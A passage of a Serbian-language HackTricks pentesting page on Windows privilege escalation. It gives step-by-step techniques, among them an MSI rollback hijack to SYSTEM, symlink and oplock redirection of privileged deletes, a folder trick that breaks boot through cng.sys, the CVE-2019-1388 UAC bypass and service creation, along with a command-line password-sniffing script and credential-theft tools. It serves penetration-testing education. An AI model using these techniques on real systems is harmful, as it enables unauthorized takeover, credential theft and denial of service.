Takođe, sledeći tool omogućava da presretnete named pipe komunikaciju pomoću tool-a kao što je burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a ovaj tool omogućava da izlistate i vidite sve pipe-ove kako biste pronašli privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
Telephony service (TapiSrv) u server modu izlaže \\pipe\\tapsrv (MS-TRP). Udaljeni autenticirani client može da zloupotrebi async event putanju zasnovanu na mailslot-u kako bi pretvorio ClientAttach u proizvoljni 4-byte write na bilo koji postojeći file upisiv za NETWORK SERVICE, zatim dobije Telephony admin prava i učita proizvoljni DLL kao service. Potpuni tok:
ClientAttachsapszDomainUserpostavljenim na postojeću putanju koja se može upisivati → service otvara to prekoCreateFileW(..., OPEN_EXISTING)i koristi ga za async event writes.- Svaki event upisuje napadačem kontrolisani
InitContextizInitializena taj handle. Registrujte line app saLRegisterRequestRecipient(Req_Func 61), aktivirajteTRequestMakeCall(Req_Func 121), preuzmite prekoGetAsyncEvents(Req_Func 0), zatim unregister/shutdown da biste ponovili determinističke upise. - Dodajte sebe u
[TapiAdministrators]uC:\Windows\TAPI\tsec.ini, reconnect, pa zatim pozoviteGetUIDllNamesa proizvoljnom DLL putanjom da izvršiteTSPI_providerUIIdentifykaoNETWORK SERVICE.
Više detalja:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
Pogledajte stranicu https://filesec.io/
Protocol handler / ShellExecute abuse via Markdown renderers
Clickable Markdown links prosleđeni na ShellExecuteExW mogu pokrenuti opasne URI handler-e (file:, ms-appinstaller: ili bilo koji registrovani scheme) i izvršiti fajlove pod kontrolom napadača kao trenutni user. Pogledajte:
Protocol Handler Shell Execute Abuse
Monitoring Command Lines for passwords
Kada dobijate shell kao user, mogu postojati scheduled tasks ili drugi procesi koji se izvršavaju i koji prosleđuju credentials na command line-u. Skripta ispod hvata process command lines svake dve sekunde i poredi trenutno stanje sa prethodnim, ispisujući sve razlike.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Krađa lozinki iz procesa
Od Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Ako imate pristup grafičkom interfejsu (preko konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows-a moguće je pokrenuti terminal ili bilo koji drugi process kao što je “NT\AUTHORITY SYSTEM” iz unprivileged korisnika.
Ovo omogućava da se eskaliraju privilegije i zaobiđe UAC istovremeno, uz istu ranjivost. Dodatno, nema potrebe da se instalira bilo šta, a binary koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.
Neki od pogođenih sistema su sledeći:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Da bi se iskoristila ova ranjivost, potrebno je izvršiti sledeće korake:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Od Administrator Medium do High Integrity Level / UAC Bypass
Pročitaj ovo da bi naučio o Integrity Levels:
Zatim pročitaj ovo da bi naučio o UAC i UAC bypasses:
Od Arbitrary Folder Delete/Move/Rename do SYSTEM EoP
Tehnika opisana u ovom blog postu sa exploit code dostupnim ovde.
Napad se u suštini zasniva na zloupotrebi Windows Installer rollback funkcije da bi se legitimni fajlovi zamenili malicioznim tokom procesa deinstalacije. Za ovo napadač mora da kreira malicious MSI installer koji će se koristiti za hijack C:\Config.Msi foldera, koji će kasnije Windows Installer koristiti za skladištenje rollback fajlova tokom deinstalacije drugih MSI paketa, pri čemu bi rollback fajlovi bili izmenjeni da sadrže maliciozni payload.
Sažeta tehnika je sledeća:
- Stage 1 – Priprema za Hijack (ostavi
C:\Config.Msiprazan)
-
Korak 1: Instaliraj MSI
-
Napravi
.msikoji instalira bezopasan fajl (npr.dummy.txt) u writable folder (TARGETDIR). -
Označi installer kao “UAC Compliant”, tako da non-admin user može da ga pokrene.
-
Zadrži handle otvoren na fajlu posle instalacije.
-
Korak 2: Započni Uninstall
-
Deinstaliraj isti
.msi. -
Proces deinstalacije počinje da premešta fajlove u
C:\Config.Msii da ih preimenuje u.rbffajlove (rollback backups). -
Poll open file handle koristeći
GetFinalPathNameByHandleda bi otkrio kada fajl postaneC:\Config.Msi\<random>.rbf. -
Korak 3: Custom Syncing
-
.msiuključuje custom uninstall action (SyncOnRbfWritten) koja: -
Signalizira kada je
.rbfupisan. -
Zatim waits na drugi event pre nego što nastavi deinstalaciju.
-
Korak 4: Blokiraj Brisanje
.rbf -
Kada bude signalizirano, otvori
.rbffajl bezFILE_SHARE_DELETE— to sprečava njegovo brisanje. -
Zatim signaliziraj nazad kako bi deinstalacija mogla da se završi.
-
Windows Installer ne uspeva da obriše
.rbf, i pošto ne može da obriše sav sadržaj,C:\Config.Msise ne uklanja. -
Korak 5: Ručno Obriši
.rbf -
Ti (napadač) ručno brišeš
.rbffajl. -
Sada je
C:\Config.Msiprazan, spreman za hijack.
U ovom trenutku, triggeruj SYSTEM-level arbitrary folder delete vulnerability da obrišeš
C:\Config.Msi.
- Stage 2 – Zamena Rollback Skripti Malicioznim
-
Korak 6: Ponovo Kreiraj
C:\Config.Msisa Weak ACLs -
Ponovo kreiraj
C:\Config.Msifolder sam. -
Podesi weak DACLs (npr. Everyone:F), i zadrži handle otvoren sa
WRITE_DAC. -
Korak 7: Pokreni Drugu Instalaciju
-
Ponovo instaliraj
.msi, sa: -
TARGETDIR: Writable lokacija. -
ERROROUT: Varijabla koja izaziva forsirani fail. -
Ova instalacija će se koristiti da ponovo pokrene rollback, koji čita
.rbsi.rbf. -
Korak 8: Prati
.rbs -
Koristi
ReadDirectoryChangesWda pratišC:\Config.Msidok se ne pojavi novi.rbs. -
Zabeleži njegovo ime.
-
Korak 9: Sync Pre Rollback-a
-
.msisadrži custom install action (SyncBeforeRollback) koja: -
Signalizira event kada se
.rbskreira. -
Zatim waits pre nego što nastavi.
-
Korak 10: Ponovo Primeni Weak ACL
-
Nakon prijema event-a
.rbs created: -
Windows Installer ponovo primenjuje strong ACLs na
C:\Config.Msi. -
Ali pošto i dalje imaš handle sa
WRITE_DAC, možeš ponovo da primeniš weak ACLs.
ACLs se primenjuju samo pri otvaranju handle-a, tako da i dalje možeš da upisuješ u folder.
-
Korak 11: Ubaci Lažni
.rbsi.rbf -
Prepiši
.rbsfajl sa fake rollback script koja govori Windows-u da: -
Vrati tvoj
.rbffajl (malicious DLL) u privileged location (npr.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Ubaci tvoj lažni
.rbfkoji sadrži malicious SYSTEM-level payload DLL. -
Korak 12: Triggeruj Rollback
-
Signaliziraj sync event tako da installer nastavi.
-
type 19 custom action (
ErrorOut) je konfigurisana da namerno failuje instalaciju na poznatoj tački. -
Ovo izaziva da rollback počne.
-
Korak 13: SYSTEM Instalira Tvoj DLL
-
Windows Installer:
-
Čita tvoj malicious
.rbs. -
Kopira tvoj
.rbfDLL u target lokaciju. -
Sada imaš svoj malicious DLL u SYSTEM-loaded path.
-
Final Step: Izvrši SYSTEM Code
-
Pokreni trusted auto-elevated binary (npr.
osk.exe) koji učitava DLL koji si hijack-ovao. -
Boom: Tvoj code se izvršava kao SYSTEM.
Od Arbitrary File Delete/Move/Rename do SYSTEM EoP
Glavna MSI rollback tehnika (prethodna) pretpostavlja da možeš da obrišeš ceo folder (npr. C:\Config.Msi). Ali šta ako tvoja ranjivost omogućava samo arbitrary file deletion ?
Možeš da iskoristiš NTFS internals: svaki folder ima skriveni alternate data stream koji se zove:
C:\SomeFolder::$INDEX_ALLOCATION
Ovaj stream skladišti index metapodatke foldera.
Dakle, ako obrišete ::$INDEX_ALLOCATION stream foldera, NTFS uklanja ceo folder iz filesystema.
To možete uraditi koristeći standardne API-je za brisanje fajlova kao što su:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Čak iako pozivaš API za brisanje fajla, on briše samu fasciklu.
From Folder Contents Delete to SYSTEM EoP
Šta ako tvoj primitive ne dozvoljava da obrišeš proizvoljne fajlove/fascikle, ali dozvoljava brisanje sadržaja fascikle koju kontroliše napadač?
- Step 1: Setup a bait folder and file
- Create:
C:\temp\folder1 - Inside it:
C:\temp\folder1\file1.txt
- Step 2: Place an oplock on
file1.txt
- The oplock pauzira izvršavanje kada privilegovani proces pokuša da obriše
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Korak 3: Pokreni SYSTEM proces (npr.
SilentCleanup)
- Ovaj proces skenira foldere (npr.
%TEMP%) i pokušava da obriše njihov sadržaj. - Kada stigne do
file1.txt, oplock se aktivira i predaje kontrolu tvom callback-u.
- Korak 4: Unutar oplock callback-a – preusmeri brisanje
-
Opcija A: Premesti
file1.txtna drugo mesto -
Ovo prazni
folder1bez narušavanja oplock-a. -
Nemoj direktno da brišeš
file1.txt— to bi prerano oslobodilo oplock. -
Opcija B: Pretvori
folder1u junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opcija C: Kreiraj symlink u
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Ovo cilja NTFS interni stream koji čuva metapodatke fascikle — brisanjem njega briše se fascikla.
- Step 5: Release the oplock
- SYSTEM proces nastavlja i pokušava da obriše
file1.txt. - Ali sada, zbog junction + symlink, zapravo briše:
C:\Config.Msi::$INDEX_ALLOCATION
Rezultat: C:\Config.Msi je obrisan od strane SYSTEM-a.
Od Arbitrary Folder Create do Permanent DoS
Iskoristite primitivu koja vam omogućava da kreirate proizvoljan folder kao SYSTEM/admin — čak i ako ne možete da upisujete fajlove ili postavljate slabe dozvole.
Kreirajte folder (ne fajl) sa imenom kritičnog Windows drajvera, npr.:
C:\Windows\System32\cng.sys
- Ova putanja obično odgovara
cng.syskernel-mode drajveru. - Ako ga unapred kreiraš kao folder, Windows ne uspeva da učita stvarni drajver pri boot-u.
- Zatim Windows pokušava da učita
cng.systokom boot-a. - VidI folder, ne uspeva da razreši stvarni drajver, i pada ili zaustavlja boot.
- Nema fallback-a, i nema oporavka bez spoljne intervencije (npr. boot repair ili pristup disku).
Od privileged log/backup putanja + OM symlinks do arbitrary file overwrite / boot DoS
Kada privileged service upisuje logove/eksporate na putanju pročitanu iz writable config, preusmeri tu putanju sa Object Manager symlinks + NTFS mount points da bi privileged write pretvorio u arbitrary overwrite (čak i bez SeCreateSymbolicLinkPrivilege).
Requirements
- Config koji čuva target path je writable od strane napadača (npr.
%ProgramData%\...\.ini). - Mogućnost da se kreira mount point ka
\RPC Controli OM file symlink (James Forshaw symboliclink-testing-tools). - Privileged operation koja upisuje na tu putanju (log, export, report).
Primer lanca
- Pročitaj config da bi se dobila privileged log destinacija, npr.
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtuC:\ProgramData\ICONICS\IcoSetup64.ini. - Preusmeri putanju bez admina:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- Sačekajte da privilegovana komponenta upiše log (npr. admin pokrene “send test SMS”). Upis sada završava u
C:\Windows\System32\cng.sys. - Pregledajte prepisani target (hex/PE parser) da potvrdite korupciju; reboot forsira Windows da učita izmenjenu driver putanju → boot loop DoS. Ovo se takođe može generalizovati na bilo koji zaštićeni fajl koji će privilegovani servis otvoriti za write.
cng.sysse normalno učitava izC:\Windows\System32\drivers\cng.sys, ali ako postoji kopija uC:\Windows\System32\cng.sysona može biti pokušana prva, što ga čini pouzdanim DoS sinkom za korumpirane podatke.
Od High Integrity do System
Novi servis
Ako već radite u procesu sa High Integrity, put do SYSTEM može biti jednostavan: samo kreiranje i izvršavanje novog servisa:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Kada pravite service binary, proverite da li je validan service ili da binary izvršava potrebne radnje dovoljno brzo, jer će biti ubijen za 20s ako nije validan service.
AlwaysInstallElevated
Iz High Integrity procesa možete pokušati da omogućite AlwaysInstallElevated registry entries i instalirate reverse shell koristeći .msi wrapper.
Više informacija o uključenim registry keys i o tome kako instalirati .msi paket ovde.
High + SeImpersonate privilege to System
Možete pronaći kod ovde.
From SeDebug + SeImpersonate to Full Token privileges
Ako imate te token privileges (verovatno ćete ovo naći u već High Integrity procesu), moći ćete da otvorite skoro bilo koji proces (ne protected processes) sa SeDebug privilege, kopirate token procesa i kreirate arbitrary process sa tim tokenom.
Korišćenje ove tehnike obično podrazumeva izbor bilo kog procesa koji radi kao SYSTEM sa svim token privileges (da, možete naći SYSTEM procese bez svih token privileges).
Možete pronaći primer koda koji izvršava predloženu tehniku ovde.
Named Pipes
Ovu tehniku koristi meterpreter za eskalaciju u getsystem. Tehnika se sastoji od kreiranja pipe-a i zatim kreiranja/zloupotrebe service-a da upisuje u taj pipe. Zatim će server koji je kreirao pipe koristeći SeImpersonate privilege moći da impersonira token klijenta pipe-a (service) i dobije SYSTEM privileges.
Ako želite da saznate više o named pipes trebalo bi da pročitate ovo.
Ako želite da pročitate primer kako preći sa high integrity na System koristeći named pipes trebalo bi da pročitate ovo.
Dll Hijacking
Ako uspete da hijackujete dll koji se učitava od strane procesa koji radi kao SYSTEM, moći ćete da izvršite arbitrary code sa tim permissions. Zato je Dll Hijacking takođe koristan za ovaj tip privilege escalation, a uz to je mnogo lakše ostvariv iz high integrity procesa jer će on imati write permissions nad folderima koji se koriste za učitavanje dll-ova.
Možete saznati više o Dll hijacking ovde.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Check for misconfigurations and sensitive files (check here). Detected.
JAWS – Check for some possible misconfigurations and gather info (check here).
privesc – Check for misconfigurations
SessionGopher – It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.
Invoke-WCMDump – Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray – Spray gathered passwords across domain
Inveigh – Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumerationSherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)WINspect – Local checks (Need Admin rights)
Exe
Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP – Port of PowerUp to C#Beroot ~~~~ – Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.Windows-Privesc-Check – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
Bat
winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).
Local
Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)
Meterpreter
multi/recon/local_exploit_suggestor
You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Reference
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 – Privileged File System Vulnerability Present in a SCADA System
-
ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


